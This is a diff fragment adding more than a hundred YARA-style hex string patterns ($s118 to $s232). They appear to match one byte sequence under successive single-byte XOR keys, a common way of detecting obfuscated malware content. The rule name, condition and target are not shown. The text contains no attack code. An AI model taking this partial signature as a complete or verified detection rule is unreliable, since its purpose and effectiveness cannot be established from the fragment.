+		$s118 = { 76 77 76 77 76 74 ?? ?? 76 74 76 77 76 74 ?? ?? 76 75 76 74 76 72 ?? ?? ?? ?? 76 72 76 74 76 72 ?? ?? ?? ?? 76 73 76 77 76 74 ?? ?? }
+		$s119 = { 77 76 77 76 77 75 ?? ?? 77 75 77 76 77 75 ?? ?? 77 74 77 75 77 73 ?? ?? ?? ?? 77 73 77 75 77 73 ?? ?? ?? ?? 77 72 77 76 77 75 ?? ?? }
+		$s120 = { 78 79 78 79 78 7A ?? ?? 78 7A 78 79 78 7A ?? ?? 78 7B 78 7A 78 7C ?? ?? ?? ?? 78 7C 78 7A 78 7C ?? ?? ?? ?? 78 7D 78 79 78 7A ?? ?? }
+		$s121 = { 79 78 79 78 79 7B ?? ?? 79 7B 79 78 79 7B ?? ?? 79 7A 79 7B 79 7D ?? ?? ?? ?? 79 7D 79 7B 79 7D ?? ?? ?? ?? 79 7C 79 78 79 7B ?? ?? }
+		$s122 = { 7A 7B 7A 7B 7A 78 ?? ?? 7A 78 7A 7B 7A 78 ?? ?? 7A 79 7A 78 7A 7E ?? ?? ?? ?? 7A 7E 7A 78 7A 7E ?? ?? ?? ?? 7A 7F 7A 7B 7A 78 ?? ?? }
+		$s123 = { 7B 7A 7B 7A 7B 79 ?? ?? 7B 79 7B 7A 7B 79 ?? ?? 7B 78 7B 79 7B 7F ?? ?? ?? ?? 7B 7F 7B 79 7B 7F ?? ?? ?? ?? 7B 7E 7B 7A 7B 79 ?? ?? }
+		$s124 = { 7C 7D 7C 7D 7C 7E ?? ?? 7C 7E 7C 7D 7C 7E ?? ?? 7C 7F 7C 7E 7C 78 ?? ?? ?? ?? 7C 78 7C 7E 7C 78 ?? ?? ?? ?? 7C 79 7C 7D 7C 7E ?? ?? }
+		$s125 = { 7D 7C 7D 7C 7D 7F ?? ?? 7D 7F 7D 7C 7D 7F ?? ?? 7D 7E 7D 7F 7D 79 ?? ?? ?? ?? 7D 79 7D 7F 7D 79 ?? ?? ?? ?? 7D 78 7D 7C 7D 7F ?? ?? }
+		$s126 = { 7E 7F 7E 7F 7E 7C ?? ?? 7E 7C 7E 7F 7E 7C ?? ?? 7E 7D 7E 7C 7E 7A ?? ?? ?? ?? 7E 7A 7E 7C 7E 7A ?? ?? ?? ?? 7E 7B 7E 7F 7E 7C ?? ?? }
+		$s127 = { 7F 7E 7F 7E 7F 7D ?? ?? 7F 7D 7F 7E 7F 7D ?? ?? 7F 7C 7F 7D 7F 7B ?? ?? ?? ?? 7F 7B 7F 7D 7F 7B ?? ?? ?? ?? 7F 7A 7F 7E 7F 7D ?? ?? }
+		$s128 = { 80 81 80 81 80 82 ?? ?? 80 82 80 81 80 82 ?? ?? 80 83 80 82 80 84 ?? ?? ?? ?? 80 84 80 82 80 84 ?? ?? ?? ?? 80 85 80 81 80 82 ?? ?? }
+		$s129 = { 81 80 81 80 81 83 ?? ?? 81 83 81 80 81 83 ?? ?? 81 82 81 83 81 85 ?? ?? ?? ?? 81 85 81 83 81 85 ?? ?? ?? ?? 81 84 81 80 81 83 ?? ?? }
+		$s130 = { 82 83 82 83 82 80 ?? ?? 82 80 82 83 82 80 ?? ?? 82 81 82 80 82 86 ?? ?? ?? ?? 82 86 82 80 82 86 ?? ?? ?? ?? 82 87 82 83 82 80 ?? ?? }
+		$s131 = { 83 82 83 82 83 81 ?? ?? 83 81 83 82 83 81 ?? ?? 83 80 83 81 83 87 ?? ?? ?? ?? 83 87 83 81 83 87 ?? ?? ?? ?? 83 86 83 82 83 81 ?? ?? }
+		$s132 = { 84 85 84 85 84 86 ?? ?? 84 86 84 85 84 86 ?? ?? 84 87 84 86 84 80 ?? ?? ?? ?? 84 80 84 86 84 80 ?? ?? ?? ?? 84 81 84 85 84 86 ?? ?? }
+		$s133 = { 85 84 85 84 85 87 ?? ?? 85 87 85 84 85 87 ?? ?? 85 86 85 87 85 81 ?? ?? ?? ?? 85 81 85 87 85 81 ?? ?? ?? ?? 85 80 85 84 85 87 ?? ?? }
+		$s134 = { 86 87 86 87 86 84 ?? ?? 86 84 86 87 86 84 ?? ?? 86 85 86 84 86 82 ?? ?? ?? ?? 86 82 86 84 86 82 ?? ?? ?? ?? 86 83 86 87 86 84 ?? ?? }
+		$s135 = { 87 86 87 86 87 85 ?? ?? 87 85 87 86 87 85 ?? ?? 87 84 87 85 87 83 ?? ?? ?? ?? 87 83 87 85 87 83 ?? ?? ?? ?? 87 82 87 86 87 85 ?? ?? }
+		$s136 = { 88 89 88 89 88 8A ?? ?? 88 8A 88 89 88 8A ?? ?? 88 8B 88 8A 88 8C ?? ?? ?? ?? 88 8C 88 8A 88 8C ?? ?? ?? ?? 88 8D 88 89 88 8A ?? ?? }
+		$s137 = { 89 88 89 88 89 8B ?? ?? 89 8B 89 88 89 8B ?? ?? 89 8A 89 8B 89 8D ?? ?? ?? ?? 89 8D 89 8B 89 8D ?? ?? ?? ?? 89 8C 89 88 89 8B ?? ?? }
+		$s138 = { 8A 8B 8A 8B 8A 88 ?? ?? 8A 88 8A 8B 8A 88 ?? ?? 8A 89 8A 88 8A 8E ?? ?? ?? ?? 8A 8E 8A 88 8A 8E ?? ?? ?? ?? 8A 8F 8A 8B 8A 88 ?? ?? }
+		$s139 = { 8B 8A 8B 8A 8B 89 ?? ?? 8B 89 8B 8A 8B 89 ?? ?? 8B 88 8B 89 8B 8F ?? ?? ?? ?? 8B 8F 8B 89 8B 8F ?? ?? ?? ?? 8B 8E 8B 8A 8B 89 ?? ?? }
+		$s140 = { 8C 8D 8C 8D 8C 8E ?? ?? 8C 8E 8C 8D 8C 8E ?? ?? 8C 8F 8C 8E 8C 88 ?? ?? ?? ?? 8C 88 8C 8E 8C 88 ?? ?? ?? ?? 8C 89 8C 8D 8C 8E ?? ?? }
+		$s141 = { 8D 8C 8D 8C 8D 8F ?? ?? 8D 8F 8D 8C 8D 8F ?? ?? 8D 8E 8D 8F 8D 89 ?? ?? ?? ?? 8D 89 8D 8F 8D 89 ?? ?? ?? ?? 8D 88 8D 8C 8D 8F ?? ?? }
+		$s142 = { 8E 8F 8E 8F 8E 8C ?? ?? 8E 8C 8E 8F 8E 8C ?? ?? 8E 8D 8E 8C 8E 8A ?? ?? ?? ?? 8E 8A 8E 8C 8E 8A ?? ?? ?? ?? 8E 8B 8E 8F 8E 8C ?? ?? }
+		$s143 = { 8F 8E 8F 8E 8F 8D ?? ?? 8F 8D 8F 8E 8F 8D ?? ?? 8F 8C 8F 8D 8F 8B ?? ?? ?? ?? 8F 8B 8F 8D 8F 8B ?? ?? ?? ?? 8F 8A 8F 8E 8F 8D ?? ?? }
+		$s144 = { 90 91 90 91 90 92 ?? ?? 90 92 90 91 90 92 ?? ?? 90 93 90 92 90 94 ?? ?? ?? ?? 90 94 90 92 90 94 ?? ?? ?? ?? 90 95 90 91 90 92 ?? ?? }
+		$s145 = { 91 90 91 90 91 93 ?? ?? 91 93 91 90 91 93 ?? ?? 91 92 91 93 91 95 ?? ?? ?? ?? 91 95 91 93 91 95 ?? ?? ?? ?? 91 94 91 90 91 93 ?? ?? }
+		$s146 = { 92 93 92 93 92 90 ?? ?? 92 90 92 93 92 90 ?? ?? 92 91 92 90 92 96 ?? ?? ?? ?? 92 96 92 90 92 96 ?? ?? ?? ?? 92 97 92 93 92 90 ?? ?? }
+		$s147 = { 93 92 93 92 93 91 ?? ?? 93 91 93 92 93 91 ?? ?? 93 90 93 91 93 97 ?? ?? ?? ?? 93 97 93 91 93 97 ?? ?? ?? ?? 93 96 93 92 93 91 ?? ?? }
+		$s148 = { 94 95 94 95 94 96 ?? ?? 94 96 94 95 94 96 ?? ?? 94 97 94 96 94 90 ?? ?? ?? ?? 94 90 94 96 94 90 ?? ?? ?? ?? 94 91 94 95 94 96 ?? ?? }
+		$s149 = { 95 94 95 94 95 97 ?? ?? 95 97 95 94 95 97 ?? ?? 95 96 95 97 95 91 ?? ?? ?? ?? 95 91 95 97 95 91 ?? ?? ?? ?? 95 90 95 94 95 97 ?? ?? }
+		$s150 = { 96 97 96 97 96 94 ?? ?? 96 94 96 97 96 94 ?? ?? 96 95 96 94 96 92 ?? ?? ?? ?? 96 92 96 94 96 92 ?? ?? ?? ?? 96 93 96 97 96 94 ?? ?? }
+		$s151 = { 97 96 97 96 97 95 ?? ?? 97 95 97 96 97 95 ?? ?? 97 94 97 95 97 93 ?? ?? ?? ?? 97 93 97 95 97 93 ?? ?? ?? ?? 97 92 97 96 97 95 ?? ?? }
+		$s152 = { 98 99 98 99 98 9A ?? ?? 98 9A 98 99 98 9A ?? ?? 98 9B 98 9A 98 9C ?? ?? ?? ?? 98 9C 98 9A 98 9C ?? ?? ?? ?? 98 9D 98 99 98 9A ?? ?? }
+		$s153 = { 99 98 99 98 99 9B ?? ?? 99 9B 99 98 99 9B ?? ?? 99 9A 99 9B 99 9D ?? ?? ?? ?? 99 9D 99 9B 99 9D ?? ?? ?? ?? 99 9C 99 98 99 9B ?? ?? }
+		$s154 = { 9A 9B 9A 9B 9A 98 ?? ?? 9A 98 9A 9B 9A 98 ?? ?? 9A 99 9A 98 9A 9E ?? ?? ?? ?? 9A 9E 9A 98 9A 9E ?? ?? ?? ?? 9A 9F 9A 9B 9A 98 ?? ?? }
+		$s155 = { 9B 9A 9B 9A 9B 99 ?? ?? 9B 99 9B 9A 9B 99 ?? ?? 9B 98 9B 99 9B 9F ?? ?? ?? ?? 9B 9F 9B 99 9B 9F ?? ?? ?? ?? 9B 9E 9B 9A 9B 99 ?? ?? }
+		$s156 = { 9C 9D 9C 9D 9C 9E ?? ?? 9C 9E 9C 9D 9C 9E ?? ?? 9C 9F 9C 9E 9C 98 ?? ?? ?? ?? 9C 98 9C 9E 9C 98 ?? ?? ?? ?? 9C 99 9C 9D 9C 9E ?? ?? }
+		$s157 = { 9D 9C 9D 9C 9D 9F ?? ?? 9D 9F 9D 9C 9D 9F ?? ?? 9D 9E 9D 9F 9D 99 ?? ?? ?? ?? 9D 99 9D 9F 9D 99 ?? ?? ?? ?? 9D 98 9D 9C 9D 9F ?? ?? }
+		$s158 = { 9E 9F 9E 9F 9E 9C ?? ?? 9E 9C 9E 9F 9E 9C ?? ?? 9E 9D 9E 9C 9E 9A ?? ?? ?? ?? 9E 9A 9E 9C 9E 9A ?? ?? ?? ?? 9E 9B 9E 9F 9E 9C ?? ?? }
+		$s159 = { 9F 9E 9F 9E 9F 9D ?? ?? 9F 9D 9F 9E 9F 9D ?? ?? 9F 9C 9F 9D 9F 9B ?? ?? ?? ?? 9F 9B 9F 9D 9F 9B ?? ?? ?? ?? 9F 9A 9F 9E 9F 9D ?? ?? }
+		$s160 = { A0 A1 A0 A1 A0 A2 ?? ?? A0 A2 A0 A1 A0 A2 ?? ?? A0 A3 A0 A2 A0 A4 ?? ?? ?? ?? A0 A4 A0 A2 A0 A4 ?? ?? ?? ?? A0 A5 A0 A1 A0 A2 ?? ?? }
+		$s161 = { A1 A0 A1 A0 A1 A3 ?? ?? A1 A3 A1 A0 A1 A3 ?? ?? A1 A2 A1 A3 A1 A5 ?? ?? ?? ?? A1 A5 A1 A3 A1 A5 ?? ?? ?? ?? A1 A4 A1 A0 A1 A3 ?? ?? }
+		$s162 = { A2 A3 A2 A3 A2 A0 ?? ?? A2 A0 A2 A3 A2 A0 ?? ?? A2 A1 A2 A0 A2 A6 ?? ?? ?? ?? A2 A6 A2 A0 A2 A6 ?? ?? ?? ?? A2 A7 A2 A3 A2 A0 ?? ?? }
+		$s163 = { A3 A2 A3 A2 A3 A1 ?? ?? A3 A1 A3 A2 A3 A1 ?? ?? A3 A0 A3 A1 A3 A7 ?? ?? ?? ?? A3 A7 A3 A1 A3 A7 ?? ?? ?? ?? A3 A6 A3 A2 A3 A1 ?? ?? }
+		$s164 = { A4 A5 A4 A5 A4 A6 ?? ?? A4 A6 A4 A5 A4 A6 ?? ?? A4 A7 A4 A6 A4 A0 ?? ?? ?? ?? A4 A0 A4 A6 A4 A0 ?? ?? ?? ?? A4 A1 A4 A5 A4 A6 ?? ?? }
+		$s165 = { A5 A4 A5 A4 A5 A7 ?? ?? A5 A7 A5 A4 A5 A7 ?? ?? A5 A6 A5 A7 A5 A1 ?? ?? ?? ?? A5 A1 A5 A7 A5 A1 ?? ?? ?? ?? A5 A0 A5 A4 A5 A7 ?? ?? }
+		$s166 = { A6 A7 A6 A7 A6 A4 ?? ?? A6 A4 A6 A7 A6 A4 ?? ?? A6 A5 A6 A4 A6 A2 ?? ?? ?? ?? A6 A2 A6 A4 A6 A2 ?? ?? ?? ?? A6 A3 A6 A7 A6 A4 ?? ?? }
+		$s167 = { A7 A6 A7 A6 A7 A5 ?? ?? A7 A5 A7 A6 A7 A5 ?? ?? A7 A4 A7 A5 A7 A3 ?? ?? ?? ?? A7 A3 A7 A5 A7 A3 ?? ?? ?? ?? A7 A2 A7 A6 A7 A5 ?? ?? }
+		$s168 = { A8 A9 A8 A9 A8 AA ?? ?? A8 AA A8 A9 A8 AA ?? ?? A8 AB A8 AA A8 AC ?? ?? ?? ?? A8 AC A8 AA A8 AC ?? ?? ?? ?? A8 AD A8 A9 A8 AA ?? ?? }
+		$s169 = { A9 A8 A9 A8 A9 AB ?? ?? A9 AB A9 A8 A9 AB ?? ?? A9 AA A9 AB A9 AD ?? ?? ?? ?? A9 AD A9 AB A9 AD ?? ?? ?? ?? A9 AC A9 A8 A9 AB ?? ?? }
+		$s170 = { AA AB AA AB AA A8 ?? ?? AA A8 AA AB AA A8 ?? ?? AA A9 AA A8 AA AE ?? ?? ?? ?? AA AE AA A8 AA AE ?? ?? ?? ?? AA AF AA AB AA A8 ?? ?? }
+		$s171 = { AB AA AB AA AB A9 ?? ?? AB A9 AB AA AB A9 ?? ?? AB A8 AB A9 AB AF ?? ?? ?? ?? AB AF AB A9 AB AF ?? ?? ?? ?? AB AE AB AA AB A9 ?? ?? }
+		$s172 = { AC AD AC AD AC AE ?? ?? AC AE AC AD AC AE ?? ?? AC AF AC AE AC A8 ?? ?? ?? ?? AC A8 AC AE AC A8 ?? ?? ?? ?? AC A9 AC AD AC AE ?? ?? }
+		$s173 = { AD AC AD AC AD AF ?? ?? AD AF AD AC AD AF ?? ?? AD AE AD AF AD A9 ?? ?? ?? ?? AD A9 AD AF AD A9 ?? ?? ?? ?? AD A8 AD AC AD AF ?? ?? }
+		$s174 = { AE AF AE AF AE AC ?? ?? AE AC AE AF AE AC ?? ?? AE AD AE AC AE AA ?? ?? ?? ?? AE AA AE AC AE AA ?? ?? ?? ?? AE AB AE AF AE AC ?? ?? }
+		$s175 = { AF AE AF AE AF AD ?? ?? AF AD AF AE AF AD ?? ?? AF AC AF AD AF AB ?? ?? ?? ?? AF AB AF AD AF AB ?? ?? ?? ?? AF AA AF AE AF AD ?? ?? }
+		$s176 = { B0 B1 B0 B1 B0 B2 ?? ?? B0 B2 B0 B1 B0 B2 ?? ?? B0 B3 B0 B2 B0 B4 ?? ?? ?? ?? B0 B4 B0 B2 B0 B4 ?? ?? ?? ?? B0 B5 B0 B1 B0 B2 ?? ?? }
+		$s177 = { B1 B0 B1 B0 B1 B3 ?? ?? B1 B3 B1 B0 B1 B3 ?? ?? B1 B2 B1 B3 B1 B5 ?? ?? ?? ?? B1 B5 B1 B3 B1 B5 ?? ?? ?? ?? B1 B4 B1 B0 B1 B3 ?? ?? }
+		$s178 = { B2 B3 B2 B3 B2 B0 ?? ?? B2 B0 B2 B3 B2 B0 ?? ?? B2 B1 B2 B0 B2 B6 ?? ?? ?? ?? B2 B6 B2 B0 B2 B6 ?? ?? ?? ?? B2 B7 B2 B3 B2 B0 ?? ?? }
+		$s179 = { B3 B2 B3 B2 B3 B1 ?? ?? B3 B1 B3 B2 B3 B1 ?? ?? B3 B0 B3 B1 B3 B7 ?? ?? ?? ?? B3 B7 B3 B1 B3 B7 ?? ?? ?? ?? B3 B6 B3 B2 B3 B1 ?? ?? }
+		$s180 = { B4 B5 B4 B5 B4 B6 ?? ?? B4 B6 B4 B5 B4 B6 ?? ?? B4 B7 B4 B6 B4 B0 ?? ?? ?? ?? B4 B0 B4 B6 B4 B0 ?? ?? ?? ?? B4 B1 B4 B5 B4 B6 ?? ?? }
+		$s181 = { B5 B4 B5 B4 B5 B7 ?? ?? B5 B7 B5 B4 B5 B7 ?? ?? B5 B6 B5 B7 B5 B1 ?? ?? ?? ?? B5 B1 B5 B7 B5 B1 ?? ?? ?? ?? B5 B0 B5 B4 B5 B7 ?? ?? }
+		$s182 = { B6 B7 B6 B7 B6 B4 ?? ?? B6 B4 B6 B7 B6 B4 ?? ?? B6 B5 B6 B4 B6 B2 ?? ?? ?? ?? B6 B2 B6 B4 B6 B2 ?? ?? ?? ?? B6 B3 B6 B7 B6 B4 ?? ?? }
+		$s183 = { B7 B6 B7 B6 B7 B5 ?? ?? B7 B5 B7 B6 B7 B5 ?? ?? B7 B4 B7 B5 B7 B3 ?? ?? ?? ?? B7 B3 B7 B5 B7 B3 ?? ?? ?? ?? B7 B2 B7 B6 B7 B5 ?? ?? }
+		$s184 = { B8 B9 B8 B9 B8 BA ?? ?? B8 BA B8 B9 B8 BA ?? ?? B8 BB B8 BA B8 BC ?? ?? ?? ?? B8 BC B8 BA B8 BC ?? ?? ?? ?? B8 BD B8 B9 B8 BA ?? ?? }
+		$s185 = { B9 B8 B9 B8 B9 BB ?? ?? B9 BB B9 B8 B9 BB ?? ?? B9 BA B9 BB B9 BD ?? ?? ?? ?? B9 BD B9 BB B9 BD ?? ?? ?? ?? B9 BC B9 B8 B9 BB ?? ?? }
+		$s186 = { BA BB BA BB BA B8 ?? ?? BA B8 BA BB BA B8 ?? ?? BA B9 BA B8 BA BE ?? ?? ?? ?? BA BE BA B8 BA BE ?? ?? ?? ?? BA BF BA BB BA B8 ?? ?? }
+		$s187 = { BB BA BB BA BB B9 ?? ?? BB B9 BB BA BB B9 ?? ?? BB B8 BB B9 BB BF ?? ?? ?? ?? BB BF BB B9 BB BF ?? ?? ?? ?? BB BE BB BA BB B9 ?? ?? }
+		$s188 = { BC BD BC BD BC BE ?? ?? BC BE BC BD BC BE ?? ?? BC BF BC BE BC B8 ?? ?? ?? ?? BC B8 BC BE BC B8 ?? ?? ?? ?? BC B9 BC BD BC BE ?? ?? }
+		$s189 = { BD BC BD BC BD BF ?? ?? BD BF BD BC BD BF ?? ?? BD BE BD BF BD B9 ?? ?? ?? ?? BD B9 BD BF BD B9 ?? ?? ?? ?? BD B8 BD BC BD BF ?? ?? }
+		$s190 = { BE BF BE BF BE BC ?? ?? BE BC BE BF BE BC ?? ?? BE BD BE BC BE BA ?? ?? ?? ?? BE BA BE BC BE BA ?? ?? ?? ?? BE BB BE BF BE BC ?? ?? }
+		$s191 = { BF BE BF BE BF BD ?? ?? BF BD BF BE BF BD ?? ?? BF BC BF BD BF BB ?? ?? ?? ?? BF BB BF BD BF BB ?? ?? ?? ?? BF BA BF BE BF BD ?? ?? }
+		$s192 = { C0 C1 C0 C1 C0 C2 ?? ?? C0 C2 C0 C1 C0 C2 ?? ?? C0 C3 C0 C2 C0 C4 ?? ?? ?? ?? C0 C4 C0 C2 C0 C4 ?? ?? ?? ?? C0 C5 C0 C1 C0 C2 ?? ?? }
+		$s193 = { C1 C0 C1 C0 C1 C3 ?? ?? C1 C3 C1 C0 C1 C3 ?? ?? C1 C2 C1 C3 C1 C5 ?? ?? ?? ?? C1 C5 C1 C3 C1 C5 ?? ?? ?? ?? C1 C4 C1 C0 C1 C3 ?? ?? }
+		$s194 = { C2 C3 C2 C3 C2 C0 ?? ?? C2 C0 C2 C3 C2 C0 ?? ?? C2 C1 C2 C0 C2 C6 ?? ?? ?? ?? C2 C6 C2 C0 C2 C6 ?? ?? ?? ?? C2 C7 C2 C3 C2 C0 ?? ?? }
+		$s195 = { C3 C2 C3 C2 C3 C1 ?? ?? C3 C1 C3 C2 C3 C1 ?? ?? C3 C0 C3 C1 C3 C7 ?? ?? ?? ?? C3 C7 C3 C1 C3 C7 ?? ?? ?? ?? C3 C6 C3 C2 C3 C1 ?? ?? }
+		$s196 = { C4 C5 C4 C5 C4 C6 ?? ?? C4 C6 C4 C5 C4 C6 ?? ?? C4 C7 C4 C6 C4 C0 ?? ?? ?? ?? C4 C0 C4 C6 C4 C0 ?? ?? ?? ?? C4 C1 C4 C5 C4 C6 ?? ?? }
+		$s197 = { C5 C4 C5 C4 C5 C7 ?? ?? C5 C7 C5 C4 C5 C7 ?? ?? C5 C6 C5 C7 C5 C1 ?? ?? ?? ?? C5 C1 C5 C7 C5 C1 ?? ?? ?? ?? C5 C0 C5 C4 C5 C7 ?? ?? }
+		$s198 = { C6 C7 C6 C7 C6 C4 ?? ?? C6 C4 C6 C7 C6 C4 ?? ?? C6 C5 C6 C4 C6 C2 ?? ?? ?? ?? C6 C2 C6 C4 C6 C2 ?? ?? ?? ?? C6 C3 C6 C7 C6 C4 ?? ?? }
+		$s199 = { C7 C6 C7 C6 C7 C5 ?? ?? C7 C5 C7 C6 C7 C5 ?? ?? C7 C4 C7 C5 C7 C3 ?? ?? ?? ?? C7 C3 C7 C5 C7 C3 ?? ?? ?? ?? C7 C2 C7 C6 C7 C5 ?? ?? }
+		$s200 = { C8 C9 C8 C9 C8 CA ?? ?? C8 CA C8 C9 C8 CA ?? ?? C8 CB C8 CA C8 CC ?? ?? ?? ?? C8 CC C8 CA C8 CC ?? ?? ?? ?? C8 CD C8 C9 C8 CA ?? ?? }
+		$s201 = { C9 C8 C9 C8 C9 CB ?? ?? C9 CB C9 C8 C9 CB ?? ?? C9 CA C9 CB C9 CD ?? ?? ?? ?? C9 CD C9 CB C9 CD ?? ?? ?? ?? C9 CC C9 C8 C9 CB ?? ?? }
+		$s202 = { CA CB CA CB CA C8 ?? ?? CA C8 CA CB CA C8 ?? ?? CA C9 CA C8 CA CE ?? ?? ?? ?? CA CE CA C8 CA CE ?? ?? ?? ?? CA CF CA CB CA C8 ?? ?? }
+		$s203 = { CB CA CB CA CB C9 ?? ?? CB C9 CB CA CB C9 ?? ?? CB C8 CB C9 CB CF ?? ?? ?? ?? CB CF CB C9 CB CF ?? ?? ?? ?? CB CE CB CA CB C9 ?? ?? }
+		$s204 = { CC CD CC CD CC CE ?? ?? CC CE CC CD CC CE ?? ?? CC CF CC CE CC C8 ?? ?? ?? ?? CC C8 CC CE CC C8 ?? ?? ?? ?? CC C9 CC CD CC CE ?? ?? }
+		$s205 = { CD CC CD CC CD CF ?? ?? CD CF CD CC CD CF ?? ?? CD CE CD CF CD C9 ?? ?? ?? ?? CD C9 CD CF CD C9 ?? ?? ?? ?? CD C8 CD CC CD CF ?? ?? }
+		$s206 = { CE CF CE CF CE CC ?? ?? CE CC CE CF CE CC ?? ?? CE CD CE CC CE CA ?? ?? ?? ?? CE CA CE CC CE CA ?? ?? ?? ?? CE CB CE CF CE CC ?? ?? }
+		$s207 = { CF CE CF CE CF CD ?? ?? CF CD CF CE CF CD ?? ?? CF CC CF CD CF CB ?? ?? ?? ?? CF CB CF CD CF CB ?? ?? ?? ?? CF CA CF CE CF CD ?? ?? }
+		$s208 = { D0 D1 D0 D1 D0 D2 ?? ?? D0 D2 D0 D1 D0 D2 ?? ?? D0 D3 D0 D2 D0 D4 ?? ?? ?? ?? D0 D4 D0 D2 D0 D4 ?? ?? ?? ?? D0 D5 D0 D1 D0 D2 ?? ?? }
+		$s209 = { D1 D0 D1 D0 D1 D3 ?? ?? D1 D3 D1 D0 D1 D3 ?? ?? D1 D2 D1 D3 D1 D5 ?? ?? ?? ?? D1 D5 D1 D3 D1 D5 ?? ?? ?? ?? D1 D4 D1 D0 D1 D3 ?? ?? }
+		$s210 = { D2 D3 D2 D3 D2 D0 ?? ?? D2 D0 D2 D3 D2 D0 ?? ?? D2 D1 D2 D0 D2 D6 ?? ?? ?? ?? D2 D6 D2 D0 D2 D6 ?? ?? ?? ?? D2 D7 D2 D3 D2 D0 ?? ?? }
+		$s211 = { D3 D2 D3 D2 D3 D1 ?? ?? D3 D1 D3 D2 D3 D1 ?? ?? D3 D0 D3 D1 D3 D7 ?? ?? ?? ?? D3 D7 D3 D1 D3 D7 ?? ?? ?? ?? D3 D6 D3 D2 D3 D1 ?? ?? }
+		$s212 = { D4 D5 D4 D5 D4 D6 ?? ?? D4 D6 D4 D5 D4 D6 ?? ?? D4 D7 D4 D6 D4 D0 ?? ?? ?? ?? D4 D0 D4 D6 D4 D0 ?? ?? ?? ?? D4 D1 D4 D5 D4 D6 ?? ?? }
+		$s213 = { D5 D4 D5 D4 D5 D7 ?? ?? D5 D7 D5 D4 D5 D7 ?? ?? D5 D6 D5 D7 D5 D1 ?? ?? ?? ?? D5 D1 D5 D7 D5 D1 ?? ?? ?? ?? D5 D0 D5 D4 D5 D7 ?? ?? }
+		$s214 = { D6 D7 D6 D7 D6 D4 ?? ?? D6 D4 D6 D7 D6 D4 ?? ?? D6 D5 D6 D4 D6 D2 ?? ?? ?? ?? D6 D2 D6 D4 D6 D2 ?? ?? ?? ?? D6 D3 D6 D7 D6 D4 ?? ?? }
+		$s215 = { D7 D6 D7 D6 D7 D5 ?? ?? D7 D5 D7 D6 D7 D5 ?? ?? D7 D4 D7 D5 D7 D3 ?? ?? ?? ?? D7 D3 D7 D5 D7 D3 ?? ?? ?? ?? D7 D2 D7 D6 D7 D5 ?? ?? }
+		$s216 = { D8 D9 D8 D9 D8 DA ?? ?? D8 DA D8 D9 D8 DA ?? ?? D8 DB D8 DA D8 DC ?? ?? ?? ?? D8 DC D8 DA D8 DC ?? ?? ?? ?? D8 DD D8 D9 D8 DA ?? ?? }
+		$s217 = { D9 D8 D9 D8 D9 DB ?? ?? D9 DB D9 D8 D9 DB ?? ?? D9 DA D9 DB D9 DD ?? ?? ?? ?? D9 DD D9 DB D9 DD ?? ?? ?? ?? D9 DC D9 D8 D9 DB ?? ?? }
+		$s218 = { DA DB DA DB DA D8 ?? ?? DA D8 DA DB DA D8 ?? ?? DA D9 DA D8 DA DE ?? ?? ?? ?? DA DE DA D8 DA DE ?? ?? ?? ?? DA DF DA DB DA D8 ?? ?? }
+		$s219 = { DB DA DB DA DB D9 ?? ?? DB D9 DB DA DB D9 ?? ?? DB D8 DB D9 DB DF ?? ?? ?? ?? DB DF DB D9 DB DF ?? ?? ?? ?? DB DE DB DA DB D9 ?? ?? }
+		$s220 = { DC DD DC DD DC DE ?? ?? DC DE DC DD DC DE ?? ?? DC DF DC DE DC D8 ?? ?? ?? ?? DC D8 DC DE DC D8 ?? ?? ?? ?? DC D9 DC DD DC DE ?? ?? }
+		$s221 = { DD DC DD DC DD DF ?? ?? DD DF DD DC DD DF ?? ?? DD DE DD DF DD D9 ?? ?? ?? ?? DD D9 DD DF DD D9 ?? ?? ?? ?? DD D8 DD DC DD DF ?? ?? }
+		$s222 = { DE DF DE DF DE DC ?? ?? DE DC DE DF DE DC ?? ?? DE DD DE DC DE DA ?? ?? ?? ?? DE DA DE DC DE DA ?? ?? ?? ?? DE DB DE DF DE DC ?? ?? }
+		$s223 = { DF DE DF DE DF DD ?? ?? DF DD DF DE DF DD ?? ?? DF DC DF DD DF DB ?? ?? ?? ?? DF DB DF DD DF DB ?? ?? ?? ?? DF DA DF DE DF DD ?? ?? }
+		$s224 = { E0 E1 E0 E1 E0 E2 ?? ?? E0 E2 E0 E1 E0 E2 ?? ?? E0 E3 E0 E2 E0 E4 ?? ?? ?? ?? E0 E4 E0 E2 E0 E4 ?? ?? ?? ?? E0 E5 E0 E1 E0 E2 ?? ?? }
+		$s225 = { E1 E0 E1 E0 E1 E3 ?? ?? E1 E3 E1 E0 E1 E3 ?? ?? E1 E2 E1 E3 E1 E5 ?? ?? ?? ?? E1 E5 E1 E3 E1 E5 ?? ?? ?? ?? E1 E4 E1 E0 E1 E3 ?? ?? }
+		$s226 = { E2 E3 E2 E3 E2 E0 ?? ?? E2 E0 E2 E3 E2 E0 ?? ?? E2 E1 E2 E0 E2 E6 ?? ?? ?? ?? E2 E6 E2 E0 E2 E6 ?? ?? ?? ?? E2 E7 E2 E3 E2 E0 ?? ?? }
+		$s227 = { E3 E2 E3 E2 E3 E1 ?? ?? E3 E1 E3 E2 E3 E1 ?? ?? E3 E0 E3 E1 E3 E7 ?? ?? ?? ?? E3 E7 E3 E1 E3 E7 ?? ?? ?? ?? E3 E6 E3 E2 E3 E1 ?? ?? }
+		$s228 = { E4 E5 E4 E5 E4 E6 ?? ?? E4 E6 E4 E5 E4 E6 ?? ?? E4 E7 E4 E6 E4 E0 ?? ?? ?? ?? E4 E0 E4 E6 E4 E0 ?? ?? ?? ?? E4 E1 E4 E5 E4 E6 ?? ?? }
+		$s229 = { E5 E4 E5 E4 E5 E7 ?? ?? E5 E7 E5 E4 E5 E7 ?? ?? E5 E6 E5 E7 E5 E1 ?? ?? ?? ?? E5 E1 E5 E7 E5 E1 ?? ?? ?? ?? E5 E0 E5 E4 E5 E7 ?? ?? }
+		$s230 = { E6 E7 E6 E7 E6 E4 ?? ?? E6 E4 E6 E7 E6 E4 ?? ?? E6 E5 E6 E4 E6 E2 ?? ?? ?? ?? E6 E2 E6 E4 E6 E2 ?? ?? ?? ?? E6 E3 E6 E7 E6 E4 ?? ?? }
+		$s231 = { E7 E6 E7 E6 E7 E5 ?? ?? E7 E5 E7 E6 E7 E5 ?? ?? E7 E4 E7 E5 E7 E3 ?? ?? ?? ?? E7 E3 E7 E5 E7 E3 ?? ?? ?? ?? E7 E2 E7 E6 E7 E5 ?? ?? }
+		$s232 = { E8 E9 E8 E9 E8 EA ?? ?? E8 EA E8 E9 E8 EA ?? ?? E8 EB E8 EA E8 EC ?? ?? ?? ?? E8 EC E8 EA E8 EC ?? ?? ?? ?? E8 ED E8 E9 E8 EA ?? ?? }
